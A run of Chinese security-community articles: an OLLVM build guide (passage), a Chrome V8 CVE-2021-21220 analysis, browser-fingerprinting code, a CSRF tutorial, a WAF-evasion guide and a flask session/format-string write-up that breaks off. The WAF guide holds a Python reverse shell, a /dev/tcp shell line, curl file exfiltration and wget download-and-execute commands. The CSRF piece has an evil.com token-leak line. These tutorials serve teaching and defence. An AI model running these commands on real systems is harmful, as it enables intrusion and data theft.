4\. 最后将该pass添加进void PassManagerBuilder::populateModulePassManager中即可
**0x03 Windows下编译OLLVM**
这里编译环境选择的是windows，其它平台类似
编译器:
MinGW64 for Windows
Cmake 3.9 rc5 for Windows x64
这里注意下套件都是选择的64位版本的，并且要注意最好清除下系统变量中之前配置的变量。
官方编译命令：
git clone -b llvm-4.0 [https://github.com/obfuscator-llvm/obfuscator.git](https://github.com/obfuscator-llvm/obfuscator.git)
mkdir build
cd build
cmake -DCMAKE_BUILD_TYPE=Release ../obfuscator/
make -j7
如果cmake如果不指定参数的话，会默认去选择当前电脑里已有的编译器，如果安装了vs的话，会自动去查找vs的编译器
如果打算使用vs编译
cmake -DCMAKE_BUILD_TYPE=Release ../obfuscator/
会生成32位的依赖版本
cmake -G “Visual Studio 15 2017 Win64” -DCMAKE_BUILD_TYPE=Release
../obfuscator/
上面这种方法就会生成64位版本的编译环境，不过在测试编译时，32位正常编译通过，64位踩了很多坑，所以还是不建议使用vs编译。
使用MinGw编译时，需要加上参数
cmake -G “MinGW Makefiles” -DCMAKE_BUILD_TYPE=Release ../obfuscator/
最后再执行make -j7 即可，数字可根据电脑配置进行选择，编译完成后，会在build/bin下看到编译完成的二进制文件。
**0x04 NDK使用OLLVM**
将编译好的clang.exe ， clang++.exe 以及上级目录下 lib/clang下的文件夹拷贝出来，我这里使用的是ndk
13，直接将这些文件拷贝到toolchainsllvmprebuiltwindows-x86_64，其中exe文件复制到bin目录下，lib文件夹直接复制到windows-x86_64目录下即可。
新建一个Android Studio工程测试下效果，开启字符串加密编译选项
编写测试函数
在函数前添加了fla属性，该属性代表ollvm的Control Flow Flattening
，具体可见ollvm项目的[wiki](https://github.com/obfuscator-llvm/obfuscator/wiki)，编译运行查看结果。
使用IDA打开编译后的so文件，可以看到函数中的字符串已经不显示了，
而Test函数的流程也被进行了混淆。
F5后：
**0x05 总结**
在项目中合理的使用ollvm可以帮助增加逆向难度，并且针对关键的函数混淆对性能的影响也比较小。 | 社区文章 |
**作者：启明星辰ADLab
原文链接：<https://mp.weixin.qq.com/s/yeu9IZSNrp1f_lK5oIdL9A>**
4月13日，国外安全研究人员在社交媒体上发布了Chrome 的0Day
漏洞[1]，漏洞编号为CVE-2021-21220，并在github上公开了该漏洞的POC以及利用代码，相关的利用代码在关闭沙盒的情况下可达到远程代码执行。由于chromium
相关框架的广泛应用，该漏洞在其他浏览器或脚本引擎中仍有存在的可能。该漏洞在chrome
90.0.4430.72版本已经修复，提醒广大用户及时更新到最新版本[2]，以规避该漏洞存在的攻击风险。
启明星辰ADLab分析发现，该漏洞存在于Chrome 的JavaScript 解析引擎V8中，POC主要代码如下：
在POC line4执行异或操作,(2**31)^0=-2147483648。根据ECMA标准[3]，异或的结果是32位整数：
在v8 SimplifiedLowering阶段，增加了对异或的结果执行ChangeInt32ToInt64的操作：
SimplifiedLowering 执行后，异或的类型被标记为Word32:
在MachineOperatorOptimizer阶段，由于是和0做异或，所以用左操作数代替异或操作。
此时的结构图如下，可以看出异或的结果是Word32|TypeUint32:
在指令选择时，对于VisitChangeInt32ToInt64操作，根据其输入类型选择操作码：
所以，这里的操作码是kX64Movl操作码，该指令在将源操作数移至目的位置时并不做符号扩展，这样在POC
line4中x的值为2147483649，于是在poc line12的位置，编译器其实使用的是x=1的值作为创建数组的长度。这是编译器未曾预料到的情况。
在变量的范围分析中，编译器认为创建的数组长度是0:
在执行POP时，会先判断数组的长度是否为0，如果不是就会将其长度减1：
由于数组长度固定，编译器在LoadElimination
的过程中会进行常量折叠，在代码路径走到这里的时候通过StoreField操作将数组的长度直接赋值为-1：
由于是smi，所以是0xfffffffe：
打印数组长度：
这时超长的数组就出炉了，任由你玩了。从补丁对比上来看[4]，对于ChangeInt32ToInt64将其输入作为有符号对待，这样就避免了该漏洞通过该路径触发。
关于利用的部分，基本是老套路，不再赘述。
参考链接：
[1] <https://twitter.com/r4j0x00/status/1381643526010597380>
[2] <https://www.google.com/chrome/>
[3] <https://www.ecma-international.org/publications-and-standards/standards/ecma-262/>
[4] <https://chromium-review.googlesource.com/c/v8/v8/+/2820971/3/src/compiler/backend/x64/instruction-selector-x64.cc#1379>
* * * | 社区文章 |
## 前言
本篇文章主要讲部分技术的代码实现与测试。
## 渲染部分实现
多数代码均利用webgl进行渲染，更重要的是模型和参数的选取，已经在前一篇文章简单介绍。对渲染代码感兴趣的可以自行学习图形学。这里我们主要介绍数据的收集和利用。
### 数据收集
这里对图像的渲染结果基本利用下述方法进行结果获取
this.getData = function(gl, id) {
if (!this.finalized) {
throw "Still generating ID's";
return -1;
}
var WebGL = true;
var pixels = new Uint8Array(256 * 256 * 4);
gl.readPixels(0, 0, 256, 256, gl.RGBA, gl.UNSIGNED_BYTE, pixels);
var ven, ren;
var debugInfo = gl.getExtension('WEBGL_debug_renderer_info');
if (debugInfo) {
ven = gl.getParameter(debugInfo.UNMASKED_VENDOR_WEBGL);
ren = gl.getParameter(debugInfo.UNMASKED_RENDERER_WEBGL);
} else {
console.log("debugInfo is not accessable");
ven = 'No debug Info';
ren = 'No debug Info';
}
var hash = pixels.hashCode();
this.toServer(WebGL, ven, ren, hash, id, pixels);
if (sumRGB(pixels) > 1.0) {
return hashRGB(pixels);
} else {
return 0;
}
};
关键点
gl.readPixels(0, 0, 256, 256, gl.RGBA, gl.UNSIGNED_BYTE, pixels);
这里7个参数分别为
void gl.readPixels(x, y, width, height, format, type, pixels);
由于图片均为256*256的，所以前4个参数为`0,0,256,256`
第5个参数
第6，7个参数
那么我们代码中的使用
var pixels = new Uint8Array(1 * 1 * 4);
gl.readPixels(0, 0, 1, 1, gl.RGBA, gl.UNSIGNED_BYTE, pixels);
对于一个像素点返回为
[0, 0, 0, 255]
对应的分别为`Red, green, blue and alpha`
对于一张256 _256渲染过后的图片，如下
可以得到如下数组
作者生成了一个256_256*4的数组存放`Red, green, blue and alpha`
然后经过hash后返回给Server
var hash = pixels.hashCode();
比如刚才这一张图的数组计算出的hash为
### 功能测试
我打开了所有的渲染任务，进行测试:
Chrome浏览器
Firefox浏览器
然后我打开了虚拟机，用Firefox浏览器访问
换了一台windows电脑，用Chrome浏览器访问
用Firefox浏览器访问
不难发现，不同设备，相同浏览器渲染任务返回的hash值出现不同，但相同设备，不同浏览器的渲染任务返回hash大部分一致。这一点也充分说明了GPU之间存在差异性，可以作为跨设备指纹特征。
## LanguageDetector实现
对于Writing
Script的检测实现，作者使用了CoffeeScript编写，然后编译成JavaScript引入，之所以使用CoffeeScript编写再编译，因为可以减少很多代码工作量，并且语言更加简洁易懂。
整体代码工作量不大，进行了如下几步：
1.基础定义
2.长宽识别
3.长宽校验
4.统计结果
### 基础定义
safeParseJSON = (s) ->
try
JSON.parse s
catch
false
class LanguageDetector
constructor: ->
@names = safeParseJSON '[
"Latin",
"Chinese",
"Arabic",
"Devanagari",
"Cyrillic",
"Bengali/Assamese",
"Kana",
"Gurmukhi",
"Javanese",
"Hangul",
"Telugu",
"Tamil",
"Malayalam",
"Burmese",
"Thai",
"Sundanese",
"Kannada",
"Gujarati",
"Lao",
"Odia",
"Ge-ez",
"Sinhala",
"Armenian",
"Khmer",
"Greek",
"Lontara",
"Hebrew",
"Tibetan",
"Georgian",
"Modern Yi",
"Mongolian",
"Tifinagh",
"Syriac",
"Thaana",
"Inuktitut",
"Cherokee"
]'
@codes = safeParseJSON "[[76,97,116,105,110],
[27721,23383],
[1575,1604,1593,1585,1576,1610,1577],
[2342,2375,2357,2344,2366,2327,2352,2368],
[1050,1080,1088,1080,1083,1080,1094,1072],
[2476,2494,2434,2482,2494,32,47,32,2437,2488,2478,2496,2479,2492,2494],
[20206,21517],
[2583,2625,2608,2606,2625,2582,2624],
[43415,43438],
[54620,44544],
[3108,3142,3122,3137,3095,3137],
[2980,2990,3007,2996,3021],
[3374,3378,3375,3390,3379,3330],
[4121,4156,4116,4154,4121,4140],
[3652,3607,3618],
[7070,7077,7060,7082,7059],
[3221,3240,3277,3240,3233],
[2711,2753,2716,2736,2750,2724,2752],
[3749,3762,3751],
[2825,2852,2893,2837,2867],
[4877,4821,4829],
[3523,3538,3458,3524,3517],
[1344,1377,1397,1400,1409],
[6017,6098,6040,6082,6042],
[917,955,955,951,957,953,954,972],
[6674,6682,6664,6673],
[1488,1500,1508,1489,1497,1514],
[3926,3964,3921,3851],
[4325,4304,4320,4311,4323,4314,4312],
[41352,41760],
[6190,6179,6185,6189,6179,6191],
[11612,11593,11580,11593,11599,11568,11606],
[1808,1834,1825,1821,1808],
[1931,1960,1928,1964,1920,1960],
[5123,5316,5251,5198,5200,5222],
[5091,5043,5033],
[55295, 7077]]" #may need a new code for 7077
@fontSize = 9
@fontFace = "Verdana"
@extraHeigth = 15
@results = []
作者选择了36种语言，然后选择了相应的语言输出相应的语言名，
例如:Chinese：汉字：`[27721,23383]`
又例如:Latin：Latin：`[76,97,116,105,110]`
### 长宽识别
如何检测字体的长宽？这里作者没有直接去对字体长宽进行测量，还是选择了测量div的长宽
@test_div = document.createElement "div"
document.body.appendChild @test_div
@test_div.id = "WritingTest"
for code in @codes
@height = []
@width = []
#generate div
@div = document.createElement "div"
@test_div.appendChild @div
round += 1
@div.id = round
@div.style.display = "inline-block"
这样一来对div的长宽测量就变得容易了许多
for c in code
@div.innerHTML = "<font face = '#{@fontFace}' size = " + @fontSize + ">&#" + c + "</font>"
@height.push document.getElementById(round).clientHeight
@width.push document.getElementById(round).clientWidth
然后测量每个字体div的长度和宽度，放入数组height[]和width[]，例如
然后对应合并
for c in code
@div.innerHTML += "<font face = '#{@fontFace}' size = " + @fontSize + ">&#" + c + "</font>"
@test_div.innerHTML += @height + ";" + @width + "<br>"
@heights.push @height
@widths.push @width
### 长宽校验
@tw = @widths.pop()
@sw1 = @tw[0]
@sw2 = @tw[1]
@sh = @heights.pop()[0]
for height in @heights
@passed = 0
for h in height
if h != @sh
@support.push true
@passed = 1
break
if @passed == 0
@support.push false
@writing_scripts_index = 0
for width in @widths
for w in width
if @support[@writing_scripts_index] == false
if w != @sw1 && w != @sw2
@support[@writing_scripts_index] = true
@writing_scripts_index += 1
这里我们发现所有的校验都是和`@sh = @heights.pop()[0]`进行比较
那么我们需要知道这个数组的最后一个值是什么，我们看到最开始`@codes`的定义
不难发现`@codes`的数组长度是37，而`@names`的数组长度是36，这样做的原因就是作者故意在最后一组放置了无法被任何浏览器渲染的字体。这样即可让所有字体的长宽和该字体的长宽比对。
注：这里不直接使用方块的原因是有的浏览器可能渲染失败了未必出现方块，可能是其他形状，这样就增大了准确性和稳定性
### 统计结果
@res = []
@writing_scripts_index = 0
for s in @support
@test_div.innerHTML += "#{@names[@writing_scripts_index]}: #{s} <br>"
if s == true
@res.push @names[@writing_scripts_index]
@writing_scripts_index += 1
@test_div.remove()
最后将可渲染字符打印出来
### 功能测试
将代码理解完成后，自己实践了一下，不难发现不同浏览器之间的差异：
使用chrome浏览器，得到如下结果
Latin,Chinese,Arabic,Devanagari,Cyrillic,Bengali/Assamese,Kana,Gurmukhi,Hangul,Telugu,Tamil,Malayalam,Burmese,Thai,Kannada,Gujarati,Lao,Odia,Ge-ez,Sinhala,Armenian,Khmer,Greek,Hebrew,Tibetan,Georgian,Modern Yi,Mongolian,Inuktitut,Cherokee
使用safari浏览器，得到如下结果
Latin,Chinese,Arabic,Devanagari,Cyrillic,Bengali/Assamese,Kana,Gurmukhi,Javanese,Hangul,Telugu,Tamil,Malayalam,Burmese,Thai,Sundanese,Kannada,Gujarati,Lao,Odia,Ge-ez,Sinhala,Armenian,Khmer,Greek,Lontara,Hebrew,Tibetan,Georgian,Modern Yi,Mongolian,Tifinagh,Syriac,Thaana,Inuktitut,Cherokee
## 后记
对作者的demo进行分析十分有趣，不仅可以学到知识，还能引发一些自己的思考~ | 社区文章 |
# **CSRF(跨站请求伪造)原理介绍**
原理：利用目标用户的合法身份，以用户的名义执行某些非法操作
XSS与CSRF区别：
1.XSS是利用站点信任用户盗取cookie
2.CSRF是通过伪装成站点信任用户请求受信任的网站
例如简单转账案例
初始化链接：http://www.xxx.com/pay.php?user=xx&money=100
构造恶意链接：http://www.xxx.com/pay.php?user=恶意用户&money=10000
CSRF漏洞代码分析：
<?php
//会话验证(验证是该合法用户已登录)
$user=$_GET["user"];
$money=$GET_["money"];
//转账操作
?>
由此可得出CSRF成功利用条件：
1.用户已经登陆系统
2.用户访问对应URL
例如利用CSRF修改目标用户密码
首先修改一次自己的密码得到修改密码的URL，根据URL可以知道密码修改为了hack
保证用户在已经登陆时发送该恶意URL链接，将URL中密码该为自己想该的，如
这样目标用户的密码就被改成了123
# **无防护的CSRF漏洞利用**
## 1.GET型CSRF利用：
上面简单转账案例就是一个GET型CSRF利用
4种GET型CSRF利用方式
a.链接利用(a标签)
b.iframe利用
注意：可以设置iframe的style为display:none，以此来不显示iframe加载的内容
c.img标签利用
img标签内的内容会随着页面加载而被请求，以此src指向的位置会在页面加载过程中进行请求
d.CSS中background利用
可以利用CSS中background样式中的url来加载远程机器上的内容，从而对url中的内容发送HTTP请求
## 2.POST型CSRF利用
例如一个新建用户界面，通过表单提交新用户账号密码，查看网页源代码得到表单提交内容，然后自己可以编写一个html文件，里面也是表单提交，属性用hidden，比如
这样就达成了目的
# **CSRF漏洞探测**
手动探测原理：探测web应用程序是否具有防止CSRF的措施
几种防御措施：
1.HTTP referer头
2.设置Token
3.HTTP自定义头
4.二次验证（比如在转账时会执行一个JS脚本弹框问是否将执行转账，这个时候是否执行就取决于用户，难以利用成功）
5.验证码防御
如果没有上述防御措施那么很大可能存在CSRF漏洞
利用自动化探测工具CSRFTester或者burp自带CSRF POC
1.CSRFTester设置浏览器代理:127.0.0.1:8008，bp是8080
2.登录web应用程序，提交表单，在CSRF工具中修改表单内容，查看是否更改，如果更改就存在CSRF漏洞
3.生成POC
一个wordpress博客为例就存在一个CSRF漏洞
创建用户，bp抓包，修改添加用户的账号密码
发送到CSRF POC
以html形式保存下来，发送给目标用户欺骗他打开，成功创建一个新账户
# **CSRF漏洞防御机制**
## **1.CSRF漏洞Token防御**
CSRF漏洞实质：服务器无法准确判断当前请求是否是合法用户的自定义操作
漏洞修补逻辑分析:如果服务器在用户登录之后给予用户一个唯一合法令牌，每一次操作过程中，服务器都会验证令牌是否正确，如果正确那么执行操作，不正确不执行操作。
一般情况下，给予的令牌写入表单隐藏域的value中，随着表单内容进行提交
Token防御代码分析
代码的意思是hello加上当前时间进行md5编码，当然hello可以改为其它复杂的字符串，这样不容易被破解出来，每一秒的值都会发生变化，如
实例使用Token进行CSRF防御
1.登陆验证成功之后，在会话SESSION["user_token"]中保存Token
2.在后台操作中，增删改表单中添加隐藏域hidden，设置value为Token
3.提交之后验证Token是否正确
附上代码
<?php
session_start();
function token_generate()
{
$salt = "hello".date("h:i:s");
$token = md5($salt);
return $token;
}
$token = token_generate();
$_SESSION["user_token"] = $token;
?>
<html>
<head>
<meta charset="utf-8">
<title>CSRF_TOKEN</title>
</head>
<body>
<h1>CSRF_TOKEN</h1>
<form action="check.php" method="post">
<input type="text" value="111">
<input type="hidden" name="user_token" value="<?php echo $token;?>">
<input type="submit" name="submit" value="提交">
</form>
</body>
</html>
再附上check.php验证脚本代码
<?php
session_start();
$user_token = $_POST["user_token"];
if($_SESSION["user_token"] == $user_token)
{
echo $_SESSION["user_token"];
echo "<br>";
echo "$user_token";
echo "<br>";
echo "successful";
}
else
{
echo "fail";
}
?>
## **2.refer防御CSRF**
Referer防御CSRF原理：HTTP
Referer是header的一部分，当浏览器向web服务器发送请求的时候，一般会带上Referer，告诉服务器我是从哪个页面链接过来的，服务器基于此可以获得一些信息用于处理
当用户点击被构造好的CSRF利用页面，那么在执行用户对应操作时，提交的HTTP请求中就有对应的Referer值，此时服务端判断Referer值是否与服务器的域名信息有关，如果不想管则不执行操作
Refer防御代码编写
在PHP中使用$_SERVER['HTTP_REFERER']获取页面提交请求中的Referer值
这里需要用到一个strpos函数，用法参考[https://www.w3school.com.cn/php/func_string_strpos.asp](http://https://www.w3school.com.cn/php/func_string_strpos.asp
"https://www.w3school.com.cn/php/func_string_strpos.asp")
附上防御代码：
strpos函数里面的意思也就是在获取的Referer值里面是否包含xx.com这个域名，如果包含了说明是正确的，没包含就可能是恶意的
## **3.验证码防御CSRF**
验证码防御被认为是对抗CSRF最简单而且有效的防御方法，CSRF在用户不知情的情况下完成对应操作，而验证码强制用户与应用程序交互，才能最终完成操作，可以被认为是二次验证，但是出于对用户体验考虑，不可能每一次操作都加入验证码。所以验证码只是一种辅助手段，不能作为防御CSRF的主要解决方案
# **一些绕过方法**
Token泄露
## 1.GET型Token泄露
例如页面包含
<img src="http://www.evil.com/"/>
## 2.POST型Token泄露
利用XSS漏洞获取其Cookie，查看存储在其中的Token
Referer绕过
参考[https://blog.csdn.net/skythesea/article/details/81366086](http://https://blog.csdn.net/skythesea/article/details/81366086
"https://blog.csdn.net/skythesea/article/details/81366086") | 社区文章 |
# web应用防火墙逃逸技术（二）
##### 译文声明
本文是翻译文章，文章来源：https://medium.com
原文地址：<https://medium.com/secjuice/web-application-firewall-waf-evasion-techniques-2-125995f3e7b0>
译文仅供参考，具体内容表达以及含义原文为准。
### 传送门： [web应用防火墙逃逸技术（一）](https://www.anquanke.com/post/id/145518)
## 前言
在第一部分中，我们已经看到了如何使用通配符绕过WAF规则，更具体地说，使用问号通配符。
显然，还有很多其他方法可以绕过WAF规则集，我认为每次攻击都有其特定的逃避技巧。
例如：在SQL注入有效内容中使用注释语法可能会绕过许多过滤器。
我的意思是使用`union+select`类似的东西：
/?id=1+un/**/ion+sel/**/ect+1,2,3--
这是一个很好的技术，当目标WAF处于低级别时，它可以很好地工作，并且允许星号*和连字符。
这应该只适用于SQL注入，它不能用于利用本地文件包含或远程命令执行。
如果你想联系一些waf bypass技术，最近我已经创建FluxCapacitor
https://www.hackthebox.eu/login
本文不包含解决FluxCapacitor特定场景的任何提示，但可以提高您对此技术的了解。
## 连接符
在许多编程语言中，字符串连接是一个二进制中缀运算符。
+（加）操作经常重载表示为字符串参数级联：”Hello, “ + “World”具有值”Hello, World”
在其他语言中，也有一些单独的运算符，例如：
Perl和PHP的`.`
Lua的`..`等等
例如：
$ php -r 'echo "hello"." world"."n";'
hello world
$ python -c 'print "hello" + " world"'
hello world
但如果你以为这就是连接字符串的唯一途径，那你就错了~
在几种语言中，特别是C，C ++，Python以及可以在Bash中找到的脚本语言/语法，都有一些名为string literal
concatenation的含义，意思是相邻的字符串连接在一起，没有任何操作符：`"Hello, " "World"`具有值`"Hello,
World"`。这不仅适用于printf和echo命令，而且适用于整个bash语法。让我们从头开始。
以下每个命令都具有相同的结果：
# echo test
# echo 't'e's't
# echo 'te'st
# echo 'te'st''
# echo 'te'''st''
# python -c 'print "te" "st"'
发生这种情况是因为所有相邻的字符串在Bash中连接在一起。
实际上`'te's't'`由三个字符串组成：字符串te，字符串s和字符串t。
该语法可用于绕过基于“匹配短语” 的过滤器（或WAF规则）（例如，ModSecurity中的pm操作符）。
ModSecurity中的规则`SecRule ARGS "[@pm](https://github.com/pm "@pm") passwd shadow
groups".....`将阻止包含passwd或shadow的所有请求。但是如果我们将它们转换为`pa'ss'wd或sh'ad'ow`
就像我们之前看到的SQLi语法一样，它使用注释来分割查询，在这里我们也可以使用单引号`'`分割文件名和系统命令并创建一组串联的字符串。
同一个命令的几个例子：
$ /bin/cat /etc/passwd
$ /bin/cat /e'tc'/pa'ss'wd
$ /bin/c'at' /e'tc'/pa'ss'wd
$ /b'i'n/c'a't /e't'c/p'a's's'w'd'
现在，让我们假设您已经发现了一个对应用程序执行远程命令的url参数。如果有一条规则阻止诸如`etc，passwd，shadow`等等这样的短语，你可以用类似这样的方法绕过它：
curl .../?url=;+cat+/e't'c/pa'ss'wd
是时候做一些测试了！
我将使用下面的PHP代码，以测试它，像往常一样，我使用了Sucuri WAF和ModSecurity的。
大概，阅读这段代码后，你会觉得它太愚蠢和简单了，没有人不去使用PHP
curl函数，而在`system()`函数内部使用`curl`，我将使用的PHP代码是：
<?php
if ( isset($_GET['zzz']) ) {
system('curl -v '.$_GET['zzz']);
}
## Sucuri WAF
我认为在这两篇文章后不久，Sucuri的某个人将会很快删除我的帐户
~但是，我发誓：我使用`Sucuri WAF`与我的`ModSecurity`进行比较，并不是因为我认为其中一个比另一个更好。
Sucuri提供了很好的服务，我将它作为示例，仅仅因为它被广泛使用，所有用户阅读本文，都可以在其Web应用程序上更好地测试这些技术。
首先，我尝试使用此PHP应用程序来获取google.com的响应主体，而不对参数的值进行编码：
curl -v 'http://test1.unicresit.it/?zzz=google.com'
它按预期工作，google.com 302页面显示，我应该跳转到www.google.de（谷歌地理定位我的服务器在Frankfurt）：
现在，为了利用这个易受攻击的应用程序，我做了很多事情。其中一件事是用分号`;`分解`curl`并尝试执行其他系统命令。
当我尝试读取`/etc/passwd`文件时，Sucuri会探测到
例如：
curl -v 'http://test1.unicresit.it/?zzz=;+cat+/etc/passwd'
由于以下原因被Sucuri WAF阻止
阻止试图对RFI / LFI进行的检测
我认为（只是一个假设，因为用户无法看到Sucuri WAF规则的细节）
`Sucuri RFI /
LFI`尝试规则使用了我们以前见过的“匹配短语”之类的东西，并列出了常见的路径和文件名etc/passwd。这个WAF有一个非常简约的规则集和一个非常低的级别，可以让我用两个单引号绕过这条规则！
curl -v "http://test1.unicresit.it/?zzz=;+cat+/e'tc/pass'wd"
我知道你在想什么：是否在Sucuri WAF积极保护你的应用程序的时候获取一个shell？
当然可以！
但是唯一的问题是我们不能使用netcat，因为它没有安装在目标容器上
$ curl -s "http://test1.unicresit.it/?zzz=;+which+ls"
/bin/ls
$ curl -s "http://test1.unicresit.it/?zzz=;+which+nc"
$
最简单的方法（可以被WAF阻止的特殊字符很少）就是使用`bash -i`命令：`bash -i >& /dev/tcp/1.1.1.1/1337
0>&1`，但不幸的是，使用该payload绕过所有规则集太复杂了，这意味着很难使用某些PHP， Perl或Python代码来获取它。Sucuri
WAF以此原因阻止了我的尝试
检测到混淆的攻击负载
完蛋了，不是吗？
我可以尝试使用`curl
wget`将python的反向shell上传到目标的可写目录中，而不是直接在易受攻击的参数上执行shell。首先，准备python代码：`vi
shell.py`
#!/usr/bin/python
import socket,subprocess,os;
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(("<my ip address>",2375));
os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);
p=subprocess.call(["/bin/sh","-i"]);
然后公开一个可以从目标访问的web服务器，像往常一样使用`python -c SimpleHTTPServer`或`php -S`等
然后从目标网站下载shell.py文件，我已经使用了以下语法：
curl -v '.../?zzz=<myip>:2375/shell.py+-o+/tmp/shell.py'
好的，Sucuri WAF并没有阻止这个请求，但通常ModSecurity会阻止
如果你想确保绕过所有的“匹配短语”规则类型，你可以使用
`wget + ip-to-long转换 + string串联`
例如
.../?zzz=wg'e't 168431108 -P tmp
.../?zzz=c'hm'od 777 -R tmp
.../?zzz=/t'm'p/index.html
第一条命令wget用来下载`/tmp/shell`文件。
第二个用于chmod使其可执行
第三个执行它。
## 绕过ModSecurity和OWASP核心规则集
可能你认为，如果waf检测级别很低，你可以绕过OWASP核心规则集，就像我们在第一篇文章中看到的那样。
但这样基本行不通。因为有两个东西叫做`normalizePath`和`cmdLine`。
在ModSecurity中，它们被称为“转换函数”，用于在输入数据用于匹配之前修改输入数据（例如，运算符执行）。
ModSecurity将创建数据副本，对其进行转换，然后根据结果运行运算符。
normalizePath：从输入字符串中删除多个斜杠，目录自引用和目录反引用（输入开始时除外）。
cmdLine：将打破所有渗透者的梦想，该转换函数通过规范化参数值并触发所有规则，例如`/e't'c/pa'ss'wd`，被规范化为`/etc/passwd`，然后再进行规则触发。
它做了很多事情！比如
删除所有反斜杠``
删除所有双引号`"`
删除所有的单引号`'`
删除所有插入符号`^`
在斜杠`/`前删除空格
在开括号`(`之前删除空格
将所有逗号`,`和分号`;`替换为空格
将所有多个空格（包括制表符，换行符等）替换为一个空格
将所有字符转换为小写
由于cmdLine转换函数的原因，规则932160阻止了所有尝试利用带有级联字符串的RCE的尝试：
Matched "Operator `PmFromFile' with parameter `unix-shell.data' against variable `ARGS:zzz' (Value: ` cat /e't'c/pa'ss'wd' )"
"o5,10v10,20t:urlDecodeUni,t:cmdLine,t:normalizePath,t:lowercase"
"ruleId":"932160"
我无法读取`/etc/passwd`，但不要绝望！
OWASP核心规则集知道公用文件，路径和命令以阻止它们，但它不能与目标应用程序的源代码执行相同的操作。
我不能使用分号`;`字符（这意味着我不能破坏curl语法），但是我可以使用curl来将文件泄露发送到我的远程服务器。这一招适用于paranoia level
0-3
诀窍是用POST HTTP请求将文件发送到请求主体中的远程服务器，并且curl可以通过使用data参数来完成-d：
curl -d @/<file> <remote server>
请求后，编码`@`为`%40`：
curl ".../?zzz=-d+%40/usr/local/.../index.php+1.1.1.1:1337"
如果目标的paranoia level设置为4，所有这些都不起作用，因为payload包含连字符，正斜杠等字符
好消息是paranoia level 4在生产环境中很难找到。
## 反斜杠是新的单引号:)
同样的技术也可以使用反斜杠``字符。这不是一个串联字符串，而只是一个转义序列：
目前为止就这样了。这么长时间，感谢各位！ | 社区文章 |
这是在参加百越杯CTF遇到的一道题目，其中涉及到两个python安全相关的知识点，在此做一个总结。
## flask session问题
由于 **flask** 是非常轻量级的 **Web框架** ，其 **session**
存储在客户端中（可以通过HTTP请求头Cookie字段的session获取），且仅对 **session**
进行了签名，缺少数据防篡改实现，这便很容易存在安全漏洞。
假设现在我们有一串 **session** 值为：
**eyJ1c2VyX2lkIjo2fQ.XA3a4A.R-ReVnWT8pkpFqM_52MabkZYIkY** ，那么我们可以通过如下代码对其进行解密：
from itsdangerous import *
s = "eyJ1c2VyX2lkIjo2fQ.XA3a4A.R-ReVnWT8pkpFqM_52MabkZYIkY"
data,timestamp,secret = s.split('.')
int.from_bytes(base64_decode(timestamp),byteorder='big')
还可以用如下 [**P师傅**](https://www.leavesongs.com) 的程序解密：
#!/usr/bin/env python3
import sys
import zlib
from base64 import b64decode
from flask.sessions import session_json_serializer
from itsdangerous import base64_decode
def decryption(payload):
payload, sig = payload.rsplit(b'.', 1)
payload, timestamp = payload.rsplit(b'.', 1)
decompress = False
if payload.startswith(b'.'):
payload = payload[1:]
decompress = True
try:
payload = base64_decode(payload)
except Exception as e:
raise Exception('Could not base64 decode the payload because of '
'an exception')
if decompress:
try:
payload = zlib.decompress(payload)
except Exception as e:
raise Exception('Could not zlib decompress the payload before '
'decoding the payload')
return session_json_serializer.loads(payload)
if __name__ == '__main__':
print(decryption(sys.argv[1].encode()))
通过上述脚本解密处 **session** ，我们就可以大概知道 **session** 中存储着哪些基本信息。然后我们可以通过其他漏洞获取用于签名认证的
**secret_key** ，进而伪造任意用户身份，扩大攻击效果。
关于 **flask** 的 **session** 机制，可以参考这篇文章：[flask
源码解析：session](http://cizixs.com/2017/03/08/flask-insight-session/)
关于客户端 **session** 问题，可以参考这篇文章：[客户端 session
导致的安全问题](https://www.leavesongs.com/PENETRATION/client-session-security.html)
## Python格式化字符串问题
在 **python** 中，提供了 **4种** 主要的格式化字符串方式，分别如下：
**第一种：%操作符**
**%操作符** 沿袭C语言中printf语句的风格。
>>> name = 'Bob'
>>> 'Hello, %s' % name
"Hello, Bob"
**第二种：string.Template**
使用标准库中的模板字符串类进行字符串格式化。
>>> name = 'Bob'
>>> from string import Template
>>> t = Template('Hey, $name!')
>>> t.substitute(name=name)
'Hey, Bob!'
**第三种：调用format方法**
python3后引入的新版格式化字符串写法，但是这种写法存在安全隐患。
>>> name , errno = 'Bob' , 50159747054
>>> 'Hello, {}'.format(name)
'Hello, Bob'
>>> 'Hey {name}, there is a 0x{errno:x} error!'.format(name=name, errno=errno)
'Hey Bob, there is a 0xbadc0ffee error!'
存在安全隐患的事例代码：
>>> config = {'SECRET_KEY': '12345'}
>>> class User(object):
... def __init__(self, name):
... self.name = name
...
>>> user = User('joe')
>>> '{0.__class__.__init__.__globals__[config]}'.format(user)
"{'SECRET_KEY': '12345'}"
从上面的例子中，我们可以发现：如果用来格式化的字符串可以被控制，攻击者就可以通过注入特殊变量，带出敏感数据。更多漏洞分析，可以参阅：[Python
格式化字符串漏洞（Django为例）](https://www.leavesongs.com/PENETRATION/python-string-format-vulnerability.html)
**第四种:f-Strings**
这是python3.6之后新增的一种格式化字符串方式，其功能十分强大，可以执行字符串中包含的python表达式，安全隐患可想而知。
>>> a , b = 5 , 10
>>> f'Five plus ten is {a + b} and not {2 * (a + b)}.'
'Five plus ten is 15 and not 30.'
>>> f'{__import__("os").system("id")}'
uid=0(root) gid=0(root) groups=0(root)
'0'
关于这4种格式化字符串方式的更多内容，可以参阅：[Python String Formatting Best
Practices](https://realpython.com/python-string-formatting/#which-string-formatting-method-should-you-use)
## 案例分析
题目界面如下：
这是 **flask** 写的一个网站，网站提供了注册和登录功能。在用户登录后，存在一个 **edit secert** 功能，下面我们直接来审计源码。
需要阅读的代码文件就4个，代码量相对较少。
`__init__.py` 的代码主要对Web应用程序进行初始化操作。
`auth.py` 的代码主要是对用户的身份进行处理
可以看到 **第84-91行** 代码，只有 **admin** 身份才能获得 **flag** ，而 **第73行**
代码会将成功登录的用户重定向到用户基本信息查看页面，链接形式形如： **<http://xxxxx/views?id=6>**
。我们可以对这里的id进行遍历，查看是否存在用户信息遍历漏洞，事实证明是存在的。
`db_init.py` 的代码主要就是定义了数据库的表模型，这里便不再贴代码。
`secert.py` 的代码需要关注一下，其中对查看用户信息和编辑secret做了定义。当我们在阅读 **views_info**
方法的代码时，就知道上面的用户信息遍历漏洞是如何形成的了。首先只要用户登录了，页面就会根据 **id** 将对应的用户信息显示在页面上，而这个 **id**
